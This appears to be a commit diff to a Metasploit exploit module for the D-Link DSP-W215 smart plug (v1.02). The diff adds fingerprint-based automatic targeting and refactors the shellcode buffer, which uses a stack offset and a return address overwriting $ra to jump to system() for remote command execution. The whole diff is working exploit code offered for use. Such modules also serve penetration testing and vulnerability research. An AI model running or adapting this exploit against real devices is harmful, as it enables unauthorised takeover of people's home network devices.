@@ -35,7 +35,12 @@ def initialize(info = {})
35
35
] ,
36
36
'Targets' =>
37
37
[
38
- [ 'D-Link DSP-W215' ,
38
+ #
39
+ # Automatic targeting via fingerprinting
40
+ #
41
+ [ 'Automatic Targeting' , { 'auto' => true } ] ,
42
+
43
+ [ 'D-Link DSP-W215 - v1.02' ,
39
44
{
40
45
'Offset' => 477472 ,
41
46
'Ret' => "\x00 \x40 \x5C \xEC " , # jump to system - my_cgi.cgi
@@ -52,20 +57,51 @@ def check
52
57
'uri' => "/common/info.cgi" ,
53
58
'method' => 'GET'
54
59
} )
55
-
56
60
if res && [ 200 , 301 , 302 ] . include? ( res . code )
57
- return Exploit ::CheckCode ::Detected
61
+
62
+ # trying to automatically detect a vulnerable device
63
+ # I think there are other vulnerable devices out there
64
+ # Todo: Check more devices and create some more targets
65
+ if ( target [ 'auto' ] )
66
+ if res . body =~ /DSP-W215A1/ && res . body =~ /1.02/
67
+
68
+ self . targets . each do |t |
69
+ if ( t . name =~ /DSP-W215.*1.02/ ) then
70
+ @mytarget = t
71
+ break
72
+ end
73
+ end
74
+ end
75
+
76
+ print_status ( "#{ peer } - Selected Target: #{ @mytarget . name } " )
77
+ print_good ( "#{ peer } - detected a vulnerable device" )
78
+ return Exploit ::CheckCode ::Detected
79
+
80
+ # no auto-targetting ... the user is responsible
81
+ else
82
+ print_good ( "#{ peer } - detected a device with unknown exploitability ... trying to exploit" )
83
+ return Exploit ::CheckCode ::Detected
84
+ end
58
85
end
86
+
59
87
rescue ::Rex ::ConnectionError
60
88
return Exploit ::CheckCode ::Unknown
61
89
end
62
90
63
91
Exploit ::CheckCode ::Unknown
64
92
end
65
93
94
+ def target
95
+ return @mytarget if @mytarget
96
+ super
97
+ end
98
+
66
99
def exploit
67
100
print_status ( "#{ peer } - Trying to access the vulnerable URL..." )
68
101
102
+ # Use a copy of the target
103
+ @mytarget = target
104
+
69
105
unless check == Exploit ::CheckCode ::Detected
70
106
fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable URL" )
71
107
end
@@ -78,8 +114,8 @@ def exploit
78
114
end
79
115
80
116
def prepare_shellcode ( cmd )
81
- buf = rand_text_alpha_upper ( target [ 'Offset' ] ) # Stack filler
82
- buf << target [ 'Ret' ] # Overwrite $ra -> jump to system
117
+ buf = rand_text_alpha_upper ( @mytarget [ 'Offset' ] ) # Stack filler
118
+ buf << @mytarget [ 'Ret' ] # Overwrite $ra -> jump to system
83
119
84
120
# la $t9, system
85
121
# la $s1, 0x440000
0 commit comments